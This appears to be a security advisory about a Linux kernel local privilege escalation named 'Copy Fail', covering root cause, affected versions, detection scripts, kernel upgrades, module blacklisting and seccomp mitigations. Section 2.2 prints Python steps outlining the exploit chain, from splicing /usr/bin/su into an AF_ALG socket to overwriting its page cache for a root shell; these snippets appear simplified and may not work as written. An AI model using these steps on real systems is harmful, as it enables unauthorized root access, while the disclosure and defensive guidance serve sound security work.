1.1 Comparison with Historical Vulnerabilities#

1.2 Event Timeline#

2.1 Root Cause#

The Copy Fail exploit chain involves a combination of three key kernel components:

1
AF_ALG crypto interface  +  splice() system call  +  algif_aead in-place optimization
2
        ↓                    ↓                    ↓
3
   Userspace invokes     Brings file page cache     Allows reuse of
4
   kernel crypto         references into the        memory pages during
5
   capabilities          crypto processing chain    encryption processing

2.2 Attack Chain#

The entire attack process is divided into four stages:

1
import socket
2

3
#Create an AF_ALG socket and bind an authenticated encryption algorithm
4
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
5
s.bind(('authencesn', b'hmac(sha256),cbc(aes)'))

1
import os
2

3
#Open a setuid program (such as /usr/bin/su)
4
fd = os.open('/usr/bin/su', os.O_RDONLY)
5

6
#Build a splice pipe to trigger a page cache reference
7
pipe_r, pipe_w = os.pipe()
8
os.splice(fd, 0, pipe_w, 0, 4096)
9
os.close(fd)

1
#Send malicious data, exploiting the in-place optimization to overwrite the page cache
2
#Turn what should be a "read-only" page cache into "writable"
3
s.sendmsg([b'A' * 4096], [(pipe_r, 0, 4096)])

1
#Execute su; what is read now is the malicious code in the page cache
2
os.execve('/usr/bin/su', [], {})
3
#Gain a root shell directly

2.3 Why “No Race Condition Required”#

2.4 Technical Essence of the Vulnerability#

Under normal flow, file data in the page cache should be read-only. However, the algif_aead in-place optimization bypasses this constraint: it allows a reference to a read-only page cache to be placed into a scatterlist, and the scatterlist is written back after the cryptographic operation. As a result, an attacker can write arbitrary 4 bytes into the page cache belonging to setuid programs such as /usr/bin/su, achieving code tampering.

It is worth noting: the vulnerability only modifies the in-memory page cache, not directly writing to disk. After a reboot or cache reclamation, the tampered content is automatically restored, but this does not affect exploitation—because the process reads from the page cache during execution.

3.1 Affected Kernel Versions#

1
commit 72548b093ee3 ≤ version < commit a664bf3d603d

Kernels from 4.14 up to (but not including) 6.18.22, and below (but not including) 6.19.12 are all affected.

3.2 Affected Distributions#

3.3 Safe Versions#

3.4 High-Risk Scenarios#

Although this vulnerability requires local low-privilege code execution capability before exploitation, the risk is significantly amplified in the following scenarios:

4.1 Check Kernel Version#

1
#Check the current kernel version
2
uname -r
3

4
#Check full kernel version information
5
cat /proc/version

4.2 Check Whether the algif_aead Module Is Loaded#

1
#Check whether the module is already loaded
2
lsmod | grep algif_aead
3

4
#Check whether the module is available (even if not loaded)
5
modinfo algif_aead 2>/dev/null && echo "Module available, risk present"

4.3 Check AF_ALG Socket Support#

1
#Check whether the kernel was compiled with AF_ALG support
2
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

4.4 One-Click Diagnostic Script#

1
#!/bin/bash
2
echo "=== CVE-2026-31431 Copy Fail troubleshooting script ==="
3
echo ""
4

5
KERNEL=$(uname -r)
6
echo "[*] Current kernel version: $KERNEL"
7

8
if lsmod | grep -q algif_aead; then
9
    echo "[!] High risk: algif_aead module is loaded!"
10
else
11
    echo "[*] algif_aead module is not loaded"
12
fi
13

14
if modinfo algif_aead &>/dev/null; then
15
    echo "[!] High risk: algif_aead module is available (it can be triggered to load even if not loaded)"
16
else
17
    echo "[*] algif_aead module is unavailable"
18
fi
19

20
echo "[*] Please manually check whether the kernel version is within the safe range"
21
echo "    Safe versions: 6.18.22+ / 6.19.12+ / 7.0+"

5.1 Permanent Fix: Upgrade the Kernel (Recommended)#

1
# Ubuntu / Debian
2
sudo apt update && sudo apt full-upgrade -y
3
sudo reboot
4

5
# RHEL / CentOS / Fedora
6
sudo dnf update kernel -y
7
sudo reboot
8

9
# SUSE / openSUSE
10
sudo zypper update kernel -y
11
sudo reboot
12

13
# Arch Linux
14
sudo pacman -S linux linux-lts
15
sudo reboot
16

17
#Confirm after reboot
18
uname -r

5.2 Temporary Mitigation: Disable the algif_aead Module#

1
#1. Permanently disable the module
2
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
3

4
#2. Immediately unload the loaded module
5
sudo rmmod algif_aead 2>/dev/null
6

7
#3. Confirm the module has been disabled
8
sudo modprobe algif_aead 2>&1  #Should show it is blocked by /bin/false

5.3 Container-Side Protection: Block AF_ALG Sockets#

1
#Block AF_ALG socket creation inside containers via a seccomp policy
2
#Add to the Docker run parameters
3
--security-opt seccomp=/path/to/custom-seccomp.json
4

5
#Custom seccomp rule example:
6
# { "names": ["socket"], "action": "ERRNO", "args": [
7
#   { "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }
8
# ] }

5.4 Post-Incident Investigation: Clear the Page Cache and Check for Backdoors#

1
#1. Drop page caches (automatically restored after reboot; this step is unnecessary)
2
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
3

4
#2. Check for abnormal processes
5
ps auxf | grep -E "su|sudo|bash|sh"
6

7
#3. Check for backdoors in temporary directories
8
ls -la /tmp /var/tmp
9

10
#4. Check login logs
11
last -n 50
12

13
#5. Check setuid program hashes
14
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

6.1 Why a Code Optimization Became a Security Vulnerability#

The root cause of Copy Fail is an in-place optimization introduced in 2017. The optimization itself had good intentions—reducing memory copies and improving encryption performance. But its design did not fully account for the security boundary of the page cache:

6.2 The Discovery Process: AI + Human Collaboration#

The discovery of this vulnerability combined human insight with AI tools:

• Researcher Taeyang Lee first identified the attack surface of the AF_ALG encryption interface + splice()
• Then used the AI-assisted auditing tool Xint Code to scan the crypto/ subsystem
• It took only about 1 hour to locate this highest-severity vulnerability

This is a successful case of AI-assisted vulnerability discovery in the security field.

6.3 Defense in Depth#

1
┌─────────────────────────────────┐
2
│  1. Upgrade the kernel version promptly (fundamental solution)       │
3
├─────────────────────────────────┤
4
│  2. Disable unnecessary kernel modules           │
5
├─────────────────────────────────┤
6
│  3. Container Security Context restrictions    │
7
├─────────────────────────────────┤
8
│  4. seccomp / AppArmor / SELinux │
9
├─────────────────────────────────┤
10
│  5. File integrity monitoring (AIDE/Samhain) │
11
└─────────────────────────────────┘